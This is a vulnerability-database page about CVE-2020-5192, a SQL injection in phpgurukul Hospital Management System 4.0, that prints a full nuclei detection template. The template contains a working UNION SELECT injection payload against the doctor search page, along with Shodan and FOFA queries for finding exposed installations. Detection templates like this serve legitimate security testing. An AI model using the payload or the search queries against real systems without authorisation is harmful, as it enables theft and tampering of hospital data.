HexBrain

Browse / CVEs / CVE-2020-5192

CVE-2020-5192· phpgurukul / hospital management system· CWE-89

Hospital Management System 4.0 - SQL Injection

highseverity
8.8CVSS score
24.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Hospital Management System 4.0 contains multiple SQL injection vulnerabilities because multiple pages and parameters do not validate user input. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Hospital Management System 4.0.

How to confirm it

Send: POST /hospital/hms/doctor/index.php ; POST /hospital/hms/doctor/search.php
Positive when: contains "{{md5(num)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2020-5192 -u <target>

The full check
id: CVE-2020-5192

info:
  name: Hospital Management System 4.0 - SQL Injection
  author: TenBird
  severity: high
  description: |
    Hospital Management System 4.0 contains multiple SQL injection vulnerabilities because multiple pages and parameters do not validate user input. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Hospital Management System 4.0.
  reference:
    - https://www.exploit-db.com/exploits/47840
    - https://phpgurukul.com/hospital-management-system-in-php/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5192
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-5192
    cwe-id: CWE-89
    epss-score: 0.24162
    epss-percentile: 0.97867
    cpe: cpe:2.3:a:phpgurukul:hospital_management_system:4.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpgurukul
    product: hospital_management_system
    shodan-query: http.html:"hospital management system"
    fofa-query: body="hospital management system"
  tags: cve,cve2020,hms,cms,sqli,authenticated,edb,phpgurukul,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /hospital/hms/doctor/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}password={{password}}&submit=&submit=
      - |
        POST /hospital/hms/doctor/search.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search=

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from